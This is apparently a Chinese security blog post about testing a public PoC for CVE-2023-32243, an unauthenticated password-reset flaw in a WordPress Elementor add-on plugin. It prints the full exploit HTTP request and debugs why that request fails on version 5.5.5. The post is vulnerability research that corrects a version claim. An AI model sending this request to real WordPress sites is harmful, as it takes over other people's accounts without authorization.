本文较短,赶时间的朋友直接看最后面的结论
wordpress cve-2023-32243
漏洞插件:essential-addons-for-elementor-lite 版本:5.4.0 - 5.7.1
某次渗透中,发现目标版本:5.5.5,在可利用范围内
网传poc:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.0.16:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 184
action=login_or_register_user&eael-resetpassword-submit=true&page_id=2&widget_id=2&eael-resetpassword-nonce=3acc410b9b&eael-pass1=Test123&eael-pass2=Test123&rp_login=test
其中eael-resetpassword-nonce
来自网站前端源码:var localize = {"...,"nonce":"xxxxxx",...
部分。
rp_login
为现有用户
利用效果:
有问题
目标wp版本为6.2,搭建本地环境进行测试
添加插件:essential-addons-for-elementor-lite.5.5.5.zip
配置本地环境时发现此插件需要配合插件Elementor(版本3.23.3)
一同安装才能使用
测试发现和上面的报错一样,下断点跟进代码
根据上面的报错信息Invalid user name found!
,我们直接定位到
myweb.comwp-contentpluginsessential-addons-for-elementor-liteincludesTraitsLogin_Registration.php
$user错误导致报错,再往上看
这里的check_password_reset_key
函数,需要传入两个参数,动态调试一下
跟进发现这两个参数都为空
key为空,直接导致$user报错
再往上看,$rp_data_db
是设置key和login的关键
跟进get_option
函数
注意到
对应的sql语句
select option_value from wp_options where option_name = "eael_resetpassword_rp_data_1" limit 1;
将这条语句直接去执行:
使用可视化工具进行查看
没有此项,没有类似的数据
想办法构造此项
找到唯一可能有关的地方
且此处位于上面check_password_reset_key
代码逻辑之下,无法利用
后查看其它资料发现,上面这套逻辑为已经打补丁修复后的代码
那我还玩个锤子🔨!!!
结论:5.5.5版本不存在CVE-2023-32243漏洞,公开消息不一定准确!
补充:版本5.7.1确实存在此漏洞,对于上面的那条sql语句,确实有update_option
的操作(将对应值添加到数据库),但是在后续重置密码之前,未利用该语句。
原文始发于微信公众号(攻防实验室):CVE-2023-32243踩坑
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论